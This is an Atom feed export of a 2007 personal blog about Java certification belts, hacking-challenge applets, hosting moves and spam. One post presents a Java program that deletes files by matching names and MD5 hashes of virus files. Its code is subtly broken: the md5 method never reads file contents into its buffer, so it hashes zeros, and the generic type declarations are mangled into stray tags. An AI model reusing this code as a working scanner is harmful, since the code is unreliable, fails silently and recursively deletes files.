type="hidden"&gt;&lt;center&gt;&lt;input value="Vote" type="submit"&gt;  &lt;input name="view" value="View" type="submit"&gt;&lt;/center&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td colspan="2" bg="" style="color: rgb(255, 255, 255);" align="right"&gt;&lt;span style="color: rgb(0, 0, 0);font-family:Arial;" &gt;&lt;a href="http://www.pollhost.com/"&gt;&lt;span style="color: rgb(0, 0, 153);"&gt;Free polls from Pollhost.com&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/form&gt;&lt;br /&gt;&lt;!-- // End Pollhost.com Poll Code // --&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7506564578992703357-3250664358559369549?l=quangntenemy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://quangntenemy.blogspot.com/feeds/3250664358559369549/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7506564578992703357&amp;postID=3250664358559369549' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/3250664358559369549'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/3250664358559369549'/><link rel='alternate' type='text/html' href='http://quangntenemy.blogspot.com/2007/02/new-version-of-qtj-1.html' title='New version of qtj 1?'/><author><name>quangntenemy</name><uri>http://www.blogger.com/profile/06889040235572873334</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.freewebs.com/quangntenemy/images/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7506564578992703357.post-4399853227318913959</id><published>2007-02-15T08:08:00.000Z</published><updated>2007-11-13T06:56:40.922Z</updated><title type='text'>Green belt</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_OCNhupYc3g0/RdQeWa4_M4I/AAAAAAAAAA4/DPYa-8l3OAk/s1600-h/greenbelt.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://3.bp.blogspot.com/_OCNhupYc3g0/RdQeWa4_M4I/AAAAAAAAAA4/DPYa-8l3OAk/s400/greenbelt.png" alt="" id="BLOGGER_PHOTO_ID_5031680054203986818" border="0" /&gt;&lt;/a&gt;Yes, I finally got a green belt at &lt;a href="http://www.javablackbelt.com"&gt;Java BlackBelt&lt;/a&gt;. It turned out that my experience of solving challs and creating Java applets for tbs has finally paid off ;)&lt;br /&gt;On my way to the next blue belt ;)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7506564578992703357-4399853227318913959?l=quangntenemy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://quangntenemy.blogspot.com/feeds/4399853227318913959/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7506564578992703357&amp;postID=4399853227318913959' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/4399853227318913959'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/4399853227318913959'/><link rel='alternate' type='text/html' href='http://quangntenemy.blogspot.com/2007/02/green-belt.html' title='Green belt'/><author><name>quangntenemy</name><uri>http://www.blogger.com/profile/06889040235572873334</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.freewebs.com/quangntenemy/images/pic.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_OCNhupYc3g0/RdQeWa4_M4I/AAAAAAAAAA4/DPYa-8l3OAk/s72-c/greenbelt.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7506564578992703357.post-5512576450803851654</id><published>2007-02-12T02:26:00.000Z</published><updated>2007-11-13T06:57:52.063Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='object oriented'/><title type='text'>OOP</title><content type='html'>No this post is not about the famous hit &lt;span style="font-style: italic;"&gt;Oops! I did it again&lt;/span&gt;. It's about Object-Oriented Programming in Java.&lt;br /&gt;Some of you might think, as I recently created the new &lt;span style="font-weight: bold;"&gt;quangntenemy teaches Java 2&lt;/span&gt; applet challenge, which is mostly about OOP in Java, I should be very good at it. Well, the fact is that I am just above the beginner level, as classified by &lt;a href="http://javablackbelt.com"&gt;Java BlackBelt&lt;/a&gt;.&lt;br /&gt;While roaming around the Internet looking for resources in preparation for the next belt, I came across &lt;a href="http://javaboutique.internet.com/tutorials/JavaOO/"&gt;this tutorial at Java Boutique&lt;/a&gt;. Very good one ;)&lt;br /&gt;I am looking for more tutorials like this, or better, some ebooks about OOP in Java at intermediate level. If you have any recommendation, please let me know :)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7506564578992703357-5512576450803851654?l=quangntenemy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://quangntenemy.blogspot.com/feeds/5512576450803851654/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7506564578992703357&amp;postID=5512576450803851654' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/5512576450803851654'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/5512576450803851654'/><link rel='alternate' type='text/html' href='http://quangntenemy.blogspot.com/2007/02/oop.html' title='OOP'/><author><name>quangntenemy</name><uri>http://www.blogger.com/profile/06889040235572873334</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.freewebs.com/quangntenemy/images/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7506564578992703357.post-8576930065737500787</id><published>2007-02-12T00:48:00.000Z</published><updated>2007-11-13T06:56:40.923Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='all the strings'/><category scheme='http://www.blogger.com/atom/ns#' term='homepage'/><title type='text'>No title</title><content type='html'>Arg, can't think of a cool title for today.&lt;br /&gt;Anyway, my stupid ISP didn't let me connect to this blog for the last few days - Looking for a good proxy for the job.&lt;br /&gt;Despite their suckiness, I was still alive ;)&lt;br /&gt;Got myself an orange belt at &lt;a href="http://javablackbelt.com/"&gt;Java BlackBelt&lt;/a&gt;.&lt;br /&gt;Updated &lt;a href="http://www.freewebs.com/quangntenemy"&gt;my homepage at freewebs&lt;/a&gt;.&lt;br /&gt;And the new &lt;a href="http://www.bright-shadows.net/challenges/crackits/allthestrings/index.php"&gt;All The Strings&lt;/a&gt; crackit challenge is up at tbs thanks to Inferno ;) Enjoy guys&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7506564578992703357-8576930065737500787?l=quangntenemy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://quangntenemy.blogspot.com/feeds/8576930065737500787/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7506564578992703357&amp;postID=8576930065737500787' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/8576930065737500787'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/8576930065737500787'/><link rel='alternate' type='text/html' href='http://quangntenemy.blogspot.com/2007/02/no-title.html' title='No title'/><author><name>quangntenemy</name><uri>http://www.blogger.com/profile/06889040235572873334</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.freewebs.com/quangntenemy/images/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7506564578992703357.post-561196219994025051</id><published>2007-02-07T10:10:00.000Z</published><updated>2007-02-07T09:13:11.148Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='host'/><title type='text'>New host</title><content type='html'>Hey there, the penguin rider is still around here.&lt;br /&gt;This time I've got myself an awesome webspace with 500MB storage, some cgi support (need to look at it a little more), and absolutely no ads (yay :D). Many thanks to &lt;a href="http://www.bright-shadows.net/userstats.php?username=alt3rn4tiv3"&gt;alt3rn4tiv3&lt;/a&gt;. Maybe you should beg him for a free account too *cough*&lt;br /&gt;Give it a try at &lt;a href="http://quangntenemy.searix.net/"&gt;http://quangntenemy.searix.net/&lt;/a&gt;. The new applet challenge &lt;span style="font-weight: bold;"&gt;quangntenemy teaches Java 2&lt;/span&gt; is already hosted there. I am planning to migrate some other challenges too.&lt;br /&gt;Oh and even if you see the directory listing there you shouldn't try to hack it - Nothing exploitable's there for you :P Go hack alt3rn4tiv3 instead, he's already put something there :P&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7506564578992703357-561196219994025051?l=quangntenemy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://quangntenemy.blogspot.com/feeds/561196219994025051/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7506564578992703357&amp;postID=561196219994025051' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/561196219994025051'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/561196219994025051'/><link rel='alternate' type='text/html' href='http://quangntenemy.blogspot.com/2007/02/new-host.html' title='New host'/><author><name>quangntenemy</name><uri>http://www.blogger.com/profile/06889040235572873334</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.freewebs.com/quangntenemy/images/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7506564578992703357.post-6603225867681572043</id><published>2007-02-05T08:06:00.000Z</published><updated>2007-02-07T01:11:48.148Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='virus'/><title type='text'>Virus? No single chance!</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_OCNhupYc3g0/Rcazms7BbzI/AAAAAAAAAAk/ZKfnQr9LV40/s1600-h/scan.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://4.bp.blogspot.com/_OCNhupYc3g0/Rcazms7BbzI/AAAAAAAAAAk/ZKfnQr9LV40/s400/scan.png" alt="" id="BLOGGER_PHOTO_ID_5027903511480856370" border="0" /&gt;&lt;/a&gt;Well, not many people are lucky enough to have something other than Windows at work. Really, just a few have that pleasure. I am among the unlucky ones. But not like the others who want to protect their comp with a huge security package (anti-virus + firewall + anti-spyware etc.), I wouldn't want any. Not because I'm not aware of the security risk, it's just that those things consume quite a lot of your system resources.&lt;br /&gt;Right, just don't click on any suspicious link, and don't open any suspicious attachment, I'll be fine. That's what I used to think. It had been right. Until a few weeks ago. Heh, how funny it could be when you look at the processes in your task manager and see a winzip process running there, when the only thing you're using is WinRar? :P Anyway, nice try. The virus attacked some noob in my network and found a way to my computer. It didn't live long, though. A quick search took me to &lt;a href="http://us.mcafee.com/virusInfo/default.asp?id=description&amp;virus_k=138027&amp;amp;affid=102"&gt;this page&lt;/a&gt; from McAfee and a quick manual delete wiped the virus out from my comp ;)&lt;br /&gt;Anyway, yes, you might have guessed, the virus was not completely wiped out. Today while browsing some local folders, I saw the files again. The virus was not active, of course. But I would prefer wiping out all the infected files. Thus the following solution in Java:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;import java.io.File;&lt;br /&gt;import java.io.RandomAccessFile;&lt;br /&gt;import java.security.MessageDigest;&lt;br /&gt;import java.util.Hashtable;&lt;br /&gt;&lt;br /&gt;public class Scanner {&lt;br /&gt; &lt;br /&gt; private Hashtable&lt;string,&gt; hash;&lt;br /&gt; &lt;br /&gt; public Scanner() {&lt;br /&gt;  &lt;br /&gt;  hash = new Hashtable&lt;string,&gt;();&lt;br /&gt;  hash.put("WinZip_Tmp.exe", "165b15075a22b0825f286f8f2de8cf71");&lt;br /&gt;  hash.put("Temp.Htt", "ea7d7bd6eece99eb35daa1e5f1decd60");&lt;br /&gt;  hash.put("desktop.ini", "c06c6123a8d3723eeefe8ed813b0658d");&lt;br /&gt;  &lt;br /&gt; } // end constructor&lt;br /&gt; &lt;br /&gt; public static String md5(File f) {&lt;br /&gt;  &lt;br /&gt;  try {&lt;br /&gt;   &lt;br /&gt;   MessageDigest md = MessageDigest.getInstance("MD5");&lt;br /&gt;   RandomAccessFile r = new RandomAccessFile(f, "r");&lt;br /&gt;   byte[] b = new byte[(int)r.length()];&lt;br /&gt;   md.update(b);&lt;br /&gt;   b = md.digest();&lt;br /&gt;   StringBuffer hexString = new StringBuffer();&lt;br /&gt;   for (int i = 0; i &lt; b.length; i++)&lt;br /&gt;    hexString.append(Integer.toHexString((b[i] &amp; 0xFF) | 0x100).substring(1));&lt;br /&gt;   return hexString.toString();&lt;br /&gt;   &lt;br /&gt;  } catch (Exception e) {&lt;br /&gt;   &lt;br /&gt;   return null;&lt;br /&gt;   &lt;br /&gt;  } // end try catch&lt;br /&gt;  &lt;br /&gt; } // end md5&lt;br /&gt; &lt;br /&gt; public void scan(File f) {&lt;br /&gt;  &lt;br /&gt;  File[] files = f.listFiles();&lt;br /&gt;  if (files == null) return;&lt;br /&gt;  for (File file : files) {&lt;br /&gt;   &lt;br /&gt;   if (file.isDirectory()) scan(file);&lt;br /&gt;   else {&lt;br /&gt;    &lt;br /&gt;    String s = file.getName();&lt;br /&gt;    if (hash.containsKey(s) &amp;&amp;amp; hash.get(s).equals(md5(file))) {&lt;br /&gt;     &lt;br /&gt;     if (file.delete())&lt;br /&gt;      System.out.println("Successfully deleted: " + file.getAbsolutePath());&lt;br /&gt;     else&lt;br /&gt;      System.out.println("Failed: " + file.getAbsolutePath());&lt;br /&gt;      &lt;br /&gt;    } // end if&lt;br /&gt;    &lt;br /&gt;   } // end if else&lt;br /&gt;   &lt;br /&gt;  } // end for&lt;br /&gt;  &lt;br /&gt; } // end scan&lt;br /&gt; &lt;br /&gt; public static void main(String[] args) {&lt;br /&gt;  &lt;br /&gt;  String pathname = args.length &gt; 0 ? args[0] : "./";&lt;br /&gt;  File f = new File(pathname);&lt;br /&gt;  Scanner s = new Scanner();&lt;br /&gt;  s.scan(f);&lt;br /&gt;  &lt;br /&gt; } // end main&lt;br /&gt; &lt;br /&gt;} // end class&lt;string,&gt;&lt;string,&gt;&lt;string,&gt;&lt;string,&gt;&lt;br /&gt;&lt;string, string=""&gt;&lt;string, string=""&gt;&lt;br /&gt;&lt;/string,&gt;&lt;/string,&gt;&lt;/string,&gt;&lt;/string,&gt;&lt;/string,&gt;&lt;/string,&gt;&lt;/pre&gt;The code might be extendable to create a complete anti-virus engine. But you know, I'm too lazy. So if you're interested in completing the job, please do it and let me know ;)&lt;br /&gt;And no, I'm not installing any anti-virus software on my comp. I wouldn't need one ;)&lt;br /&gt;&lt;div style="text-align: left;"&gt;&lt;span style="text-decoration: underline;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7506564578992703357-6603225867681572043?l=quangntenemy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://quangntenemy.blogspot.com/feeds/6603225867681572043/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7506564578992703357&amp;postID=6603225867681572043' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/6603225867681572043'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/6603225867681572043'/><link rel='alternate' type='text/html' href='http://quangntenemy.blogspot.com/2007/02/virus-no-single-chance.html' title='Virus? No single chance!'/><author><name>quangntenemy</name><uri>http://www.blogger.com/profile/06889040235572873334</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.freewebs.com/quangntenemy/images/pic.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_OCNhupYc3g0/Rcazms7BbzI/AAAAAAAAAAk/ZKfnQr9LV40/s72-c/scan.png' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7506564578992703357.post-1640805491510913600</id><published>2007-02-02T03:39:00.000Z</published><updated>2007-11-13T06:32:02.095Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='java'/><category scheme='http://www.blogger.com/atom/ns#' term='message me'/><category scheme='http://www.blogger.com/atom/ns#' term='qtj'/><category scheme='http://www.blogger.com/atom/ns#' term='host'/><title type='text'>New host</title><content type='html'>OK, &lt;span style="font-weight: bold;"&gt;quangntenemy teaches Java 2&lt;/span&gt; and &lt;span style="font-weight: bold;"&gt;Message Me&lt;/span&gt; have been moved to my site hosted at &lt;a href="http://www.t35.com/"&gt;t35.com&lt;/a&gt;. The new links for the challenges are:&lt;br /&gt;&lt;a href="http://quangntenemy.t35.com/javalesson2/"&gt;http://quangntenemy.t35.com/javalesson2/&lt;/a&gt;&lt;br /&gt;&lt;a href="http://quangntenemy.t35.com/messageme/"&gt;http://quangntenemy.t35.com/messageme/&lt;/a&gt;&lt;br /&gt;The only bad thing about t35 is that their ads scripts are really BADC0DED, therefore spoiled my W3C "valid" icons :P They sure need some brainwash.&lt;br /&gt;Anyway, enjoy the challenges (and slap Inferno with relee's frozen trout for the delay in uploading them :P)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7506564578992703357-1640805491510913600?l=quangntenemy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://quangntenemy.blogspot.com/feeds/1640805491510913600/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7506564578992703357&amp;postID=1640805491510913600' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/1640805491510913600'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/1640805491510913600'/><link rel='alternate' type='text/html' href='http://quangntenemy.blogspot.com/2007/01/new-host.html' title='New host'/><author><name>quangntenemy</name><uri>http://www.blogger.com/profile/06889040235572873334</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.freewebs.com/quangntenemy/images/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7506564578992703357.post-2519609121916341720</id><published>2007-02-01T03:39:00.000Z</published><updated>2007-02-02T02:58:53.868Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='message me'/><title type='text'>"Message Me" ready for beta-testing</title><content type='html'>OK, finally it's out for beta-testing at &lt;a href="http://quangntenemy.googlepages.com/messageme.html"&gt;http://quangntenemy.googlepages.com/messageme.html&lt;/a&gt;. Enjoy!&lt;br /&gt;Google doesn't allow some special characters in the filename so some parts just don't work. When you're there just download the file for local testing ;) I'll be moving the challenge to freewebs soon.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7506564578992703357-2519609121916341720?l=quangntenemy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://quangntenemy.blogspot.com/feeds/2519609121916341720/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7506564578992703357&amp;postID=2519609121916341720' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/2519609121916341720'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/2519609121916341720'/><link rel='alternate' type='text/html' href='http://quangntenemy.blogspot.com/2007/01/message-me-ready-for-beta-testing.html' title='&quot;Message Me&quot; ready for beta-testing'/><author><name>quangntenemy</name><uri>http://www.blogger.com/profile/06889040235572873334</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.freewebs.com/quangntenemy/images/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7506564578992703357.post-3836405623300290544</id><published>2007-01-30T10:39:00.000Z</published><updated>2007-02-02T02:57:26.568Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='spam poison'/><title type='text'>Spam Poison</title><content type='html'>Yesterday a spammer dared to advertise Firefox on my blog. I'm a fan of FF, but I have zero tolerance for spam. So I decided to add a link to &lt;a href="http://www.spampoison.com/"&gt;Spam Poison&lt;/a&gt;. Spammers, beware, I'm watching you!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7506564578992703357-3836405623300290544?l=quangntenemy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://quangntenemy.blogspot.com/feeds/3836405623300290544/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7506564578992703357&amp;postID=3836405623300290544' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/3836405623300290544'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/3836405623300290544'/><link rel='alternate' type='text/html' href='http://quangntenemy.blogspot.com/2007/01/spam-poison.html' title='Spam Poison'/><author><name>quangntenemy</name><uri>http://www.blogger.com/profile/06889040235572873334</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.freewebs.com/quangntenemy/images/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7506564578992703357.post-3727123266756140788</id><published>2007-01-29T03:39:00.000Z</published><updated>2007-11-13T06:32:02.096Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='java'/><category scheme='http://www.blogger.com/atom/ns#' term='message me'/><category scheme='http://www.blogger.com/atom/ns#' term='qtj'/><title type='text'>New challenge ready for submission</title><content type='html'>Thanks to Chemi the challenge is now fully functioned (no need for a weekly quangOS security update :P) . Submitting it to Inferno today :D&lt;br /&gt;Starting work on &lt;span style="font-weight: bold;"&gt;Message Me&lt;/span&gt;.&lt;br /&gt;Oh, solved the new problem 139 at &lt;a href="http://projecteuler.net/"&gt;project Euler&lt;/a&gt; also ;)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7506564578992703357-3727123266756140788?l=quangntenemy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://quangntenemy.blogspot.com/feeds/3727123266756140788/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7506564578992703357&amp;postID=3727123266756140788' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/3727123266756140788'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/3727123266756140788'/><link rel='alternate' type='text/html' href='http://quangntenemy.blogspot.com/2007/01/new-challenge-ready-for-submission.html' title='New challenge ready for submission'/><author><name>quangntenemy</name><uri>http://www.blogger.com/profile/06889040235572873334</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.freewebs.com/quangntenemy/images/pic.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7506564578992703357.post-1733434487710938625</id><published>2007-01-25T03:39:00.001Z</published><updated>2007-11-13T06:32:02.096Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='java'/><category scheme='http://www.blogger.com/atom/ns#' term='qtj'/><title type='text'>New chall ready to go ;)</title><content type='html'>Ok, the package is complete with a detailed how-to and an automatic solver.&lt;br /&gt;Will be reviewing it once again next Monday before submitting ;)&lt;br /&gt;Be prepared for some fun ;)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7506564578992703357-1733434487710938625?l=quangntenemy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://quangntenemy.blogspot.com/feeds/1733434487710938625/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7506564578992703357&amp;postID=1733434487710938625' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/1733434487710938625'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/1733434487710938625'/><link rel='alternate' type='text/html' href='http://quangntenemy.blogspot.com/2007/01/new-chall-ready-to-go.html' title='New chall ready to go ;)'/><author><name>quangntenemy</name><uri>http://www.blogger.com/profile/06889040235572873334</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.freewebs.com/quangntenemy/images/pic.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7506564578992703357.post-2070828708058534988</id><published>2007-01-24T19:39:00.000Z</published><updated>2007-11-13T06:32:02.097Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='java'/><category scheme='http://www.blogger.com/atom/ns#' term='message me'/><category scheme='http://www.blogger.com/atom/ns#' term='qtj'/><title type='text'>New chall</title><content type='html'>Something new today ;)&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;quangntenemy teaches Java 2&lt;/span&gt; is ready for solving ;P Writing the Solver &amp; readme for submitting.&lt;br /&gt;New idea for a new (special?) challenge: &lt;span style="font-weight: bold;"&gt;Message Me&lt;/span&gt; :D&lt;br /&gt;&lt;br /&gt;Edited: Updated JavaLesson2.jar a bit. If you want the updated (and easier :D) version you should download it again.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7506564578992703357-2070828708058534988?l=quangntenemy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://quangntenemy.blogspot.com/feeds/2070828708058534988/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7506564578992703357&amp;postID=2070828708058534988' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/2070828708058534988'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/2070828708058534988'/><link rel='alternate' type='text/html' href='http://quangntenemy.blogspot.com/2007/01/new-chall.html' title='New chall'/><author><name>quangntenemy</name><uri>http://www.blogger.com/profile/06889040235572873334</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.freewebs.com/quangntenemy/images/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7506564578992703357.post-7768960177200960384</id><published>2007-01-23T03:39:00.000Z</published><updated>2007-11-13T06:36:42.011Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='java'/><category scheme='http://www.blogger.com/atom/ns#' term='qtj'/><title type='text'>First post</title><content type='html'>Hey guys,&lt;br /&gt;&lt;br /&gt;Starting from today I'll be an active blogger :D Just to show you I'm still active and creating some cool stuff for you :P "I blog, therefore I exist" :D&lt;br /&gt;&lt;br /&gt;Here you can find information about tbs challenges I'm creating, non-commercial projects I'm working on, or other stuff about Java, Linux, cryptography, internet security and any other thing that I like :D&lt;br /&gt;&lt;br /&gt;A piece of good news: &lt;span style="font-weight: bold;"&gt;quangntenemy teaches Java 2&lt;/span&gt; is now available for beta testing at &lt;a href="http://quangntenemy.googlepages.com/index.html"&gt;http://quangntenemy.googlepages.com/index.html&lt;/a&gt;. You might want to ask why I don't put it up on &lt;a href="http://www.freewebs.com/quangntenemy"&gt;http://www.freewebs.com/quangntenemy&lt;/a&gt;? Well the host got blocked by a stupid firewall. But I will try to get around it someday. In this world it's just wonderful that there's a way around everything :D&lt;br /&gt;&lt;br /&gt;That's it for today! Enjoy the challenge! More will be coming next week :D&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7506564578992703357-7768960177200960384?l=quangntenemy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://quangntenemy.blogspot.com/feeds/7768960177200960384/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7506564578992703357&amp;postID=7768960177200960384' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/7768960177200960384'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/7768960177200960384'/><link rel='alternate' type='text/html' 